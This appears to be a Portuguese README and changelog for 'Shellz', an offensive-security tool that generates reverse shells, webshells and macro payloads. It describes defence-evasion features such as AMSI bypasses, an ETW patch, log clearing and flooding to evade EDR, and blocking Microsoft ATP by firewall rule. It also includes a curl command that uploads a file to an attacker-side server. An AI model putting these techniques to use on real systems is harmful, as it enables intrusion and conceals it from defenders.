Shellz
Um script para gerar revshells comuns de forma rápida e fácil.
Especialmente útil quando são necessários revshells em PowerShell e Python, que podem ser difíceis de formatar corretamente.
Revshells em PowerShell
- Mostra usuário@computador.(domínio), acima do prompt e diretório de trabalho
- Possui um bypass AMSI parcial e completo.
- Shells TCP, UDP e SSL
- Novo revshell TCP personalizado!
- Novo revshell SSL personalizado!
- Carregamento reflexivo theart42's incrível Sharpcat!
- Windows PowerShell e Core PowerShell
- Funções para upload e download de arquivos. (Usando Updog por sc0tfree)
Python
- Sem PowerShell? Sem problema!
Carregue Python incorporado. Arquivos assinados e confiáveis pelo Microsoft Intelligent Security Graph.
Suporte a ngrok
- ngrok pode ser iniciado/interrompido de dentro do script
- Payloads serão gerados com os endereços ngrok
Suporte a Updog
- Você pode iniciar/interromper o Updog de dentro do script
- Os revshells PowerShell possuem função de upload/download incorporada
- Para fazer upload do nix usando curl:
curl -F path="caminho absoluto para a pasta do Updog" -F file=nomedoarquivo http://UpdogIP/upload
Para instalar o Shells a partir do git
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh
Para instalar o shells no BlackArch:
Capturas de tela

Dependências necessárias
netcat, rlwrap, jq, basenc (coreutils)
Dependências opcionais
updog, ngrok, xclip
Vídeo no Youtube
Shellz 1.7.5
Versão 1.7.7
- Adicionada opção de inicialização do Windows Terminal na seção PowerShell
Versão 1.7.6
- Adicionada opção em Python, para usar Python Incorporado em uma Macro VBA
Versão 1.7.5
- Adicionada opção em PowerShell para carregamento em etapas de um bypass do Constrained Language Mode usando msbuild.exe
Versão 1.7.4
- Alterado payload para Python Incorporado. Não salva mais o script no disco
- Obfuscado um pouco o revshell Python
Versão 1.7.3
- Corrigido erro de digitação no payload Python3 para Windows
- Adicionada opção para usar Python Incorporado para obter um revshell em uma máquina Windows sem Python instalado e sem usar PowerShell.
Versão 1.7.1
- Adicionado PS ao prompt no shell SSL
- Encurtado o bypass completo do AMSI
Versão 1.7
- Removida a mensagem "updog não está em execução" quando ele não foi ativado inicialmente
- Removidas mais algumas seleções automáticas de entrada em menus
Versão 1.6.9
- Corrigido erro no comando block MDE
- Adicionadas opções de comando de inicialização: cmd, conhost, powershell (Se o payload tiver mais de 8191 caracteres, ele deve ser iniciado diretamente do powershell)
Versão 1.6.8
- Preenchendo "Microsoft-Windows-PowerShell/Operational" com ainda mais entradas, para garantir que a execução inicial do script seja empurrada para fora. (Só funciona se o log de scriptblock estiver ativado no alvo)
Versão 1.6.7
- Tinha apenas codificação Base64 segura para URL. Adicionada codificação Base64 comum de payloads.
Versão 1.6.6
- Adicionada opção para preencher o log do powershell. Iniciará várias sessões do powershell, passando uma string longa e saindo. Isso preencherá o log, quando o log de scriptblock estiver ativado, efetivamente empurrando entradas anteriores para fora e removendo assim o evento da própria shell surgir. Pode evitar detecção por EDR. Testado com sucesso no SentinelOne.
- Corrigidas seleções de menu confusas. Removida a entrada automática ao selecionar opções na maioria dos menus.
- Adicionado Listener Metasploit Multi/handler
Versão 1.6.5
- Adicionado patch ETW do Powershell
- Adicionado bypass AMSI completo do Powershell incorporado.
- Adicionada verificação de comprimento do payload. O comprimento máximo da string que pode ser usada no prompt de comando do Windows (cmd.exe) é 8191 caracteres.
Versão 1.6.4
- Corrigido shell SSL do Powershell
Versão 1.6.3
- Adicionada expansão de variáveis no payload do powershell, permitindo que ele seja executado a partir de arquivos em lote (batch) sem modificação
Versão 1.6.2
Versão 1.6.1
- Listener iniciado em nova janela. (Opcional no Linux)
Versão 1.6
- Powershell: Adicionada opção para carregamento reflexivo do Sharpcat
Versão 1.5.9
- PowerShell: Novo shell SSL personalizado
- PowerShell: Adicionadas opções para escolher TCP/UDP/SSL
- PowerShell/OpenSSL: Padrão para o listener correto ao usar SSL
Versão 1.5.8
- Atualizado instalador para usar script wrapper (lembre-se de excluir /usr/local/bin/shells ao atualizar de versões < 1.5.8)
Versão 1.5.7
- PowerShell: Construído um revshell TCP único, que não usa Net.Sockets.TCPClient
- PowerShell: Mensagens de erro remotas agora sendo exibidas corretamente
Versão 1.5.6
- PHP: adicionadas opções e mais payloads
Versão 1.5.5
- Adicionada opção em outros payloads para alterar o shell
Versão 1.5.4
- Powershell: Corrigido o payload NIX
- Powershell: Atualizado o payload para carregamento reflexivo de C#
Versão 1.5.3
- Powershell: Adicionadas opções para payload no menu.
Versão 1.5.2
- PowerShell: Alterado revshell para contornar mais fornecedores de AV
- Powershell: Adicionada regra de firewall, impedindo que o MS ATP se comunique (se o usuário em execução tiver acesso)
- Powershell: Atualizado VBA (Macros do MS Office)
Versão 1.5.1
- PowerShell: Desabilitando log de scriptblock e CheckSuspiciousContent
- PowerShell: Limpa logs de eventos do PowerShell (se o usuário em execução tiver acesso)
Versão 1.5.0
- PowerShell: Adicionados payloads VBA para Macros do MS Office
- Adicionados alguns payloads node.js
Versão 1.4.9
- Adicionado um shell C# simples.
- Adicionado payload para carregar reflexivamente o shell C# na memória. (Precisa de bypass AMSI completo)
- Coberto adicionando o bypass AMSI completo do Rastamouse
- PowerShell: Você pode fazer upload automático e executar o bypass AMSI completo. O bypass AMSI parcial torna isso possível.
- Shell C#: Faz upload automático e executa o bypass AMSI completo antes de carregá-lo na memória
- Status do Updog e ngrok mostrado em todos os menus
Versão 1.4.8
- Às vezes, menos é mais. Removida a ofuscação nos revshells PowerShell TCP/UDP, porque na verdade ativa mais o AV do que o contorna e o payload ficou muito grande :-) Ainda usando aleatoriedade.
Versão 1.4.6
- Adicionados webshells (ASPX, PHP, JSP)
Versão 1.4.5
- Adicionados 2 binários c++ revshell para Windows 32 e 64 bits.
Versão 1.4.4
- Corrigido o tratamento de iniciar/parar o Updog
Versão 1.4.3
- Adicionado suporte ao Updog
- Adicionados binários Netcat.
- Powershell: Criada funcionalidade de upload/download (upload requer Updog para receber arquivos)
- Adicionadas mais informações sobre como executar ngrok e Updog.
Versão 1.4.2
- PowerShell: Adicionado um novo "mini bypass AMSI". (É um bypass parcial) Baseado no método Reflection de Matt Graeber
- PowerShell: Adicionada função de "upload" no reverseshell do PowerShell
Versão 1.4.1
- Removido AMSI. Não testado o suficiente :-)
Versão 1.4
- Adicionado bypass AMSI para os payloads do powershell
Versão 1.3.9
- Corrigido bug ao definir porta
- Alterada porta padrão para 443
- PowerShell: ofuscado um pouco mais
Versão 1.3.8
- PowerShell: Pequenas alterações no payload UDP
Versão 1.3.7
- Usando apenas nc nativo no macOS, pois o do homebrew não funciona em UDP de entrada
- PowerShell: Adicionados payloads UDP
Versão 1.3.6
- PowerShell: Adicionados mais payloads
Versão 1.3.5
- PowerShell: Adicionada alguma aleatoriedade e ofuscação para o payload
Versão 1.3.4
- PowerShell: Usando codificação UTF8 no payload
Versão 1.3.3
Versão 1.3.2
Versão 1.3.1
- Corrigido bug no revshell Python
- Adicionado awk
- Adicionado Bash UDP
Versão 1.3
- Adicionados revshells Python para Windows
Versão 1.2.9
- Adicionado status de execução do ngrok
Versão 1.2.8
- Oculta escolha de ngrok se não estiver instalado
Versão 1.2.7
- Corrigidas as opções de instalação: não fazendo a opção padrão ao pressionar Enter sem fazer uma escolha
Versão 1.2.6
- Adicionado suporte para ngrok.
Versão 1.2.4
- Adicionado script de instalação
- Adicionadas opções de instalação para verificar e instalar dependências ausentes
Versão 1.2.3
- Adicionados alguns shells PHP
Versão 1.2.2
- Adicionados shells para: Ruby, Perl, Telnet e zsh
Versão 1.2.1
- Adicionado copiar para área de transferência usando pbcopy no macOS
- Adicionada informação sobre ouvir netcat, pois a versão macOS não exibe isso
Versão 1.2
- Adicionados shells netcat em loop. Chama de volta a cada 10 segundos. Ótimo caso você perca sua shell
- Adicionada verificação para netcat GNU netcat 0.7.0 Homebrew ao executar no macOS
Versão 1.1
- Adicionado suporte para macOS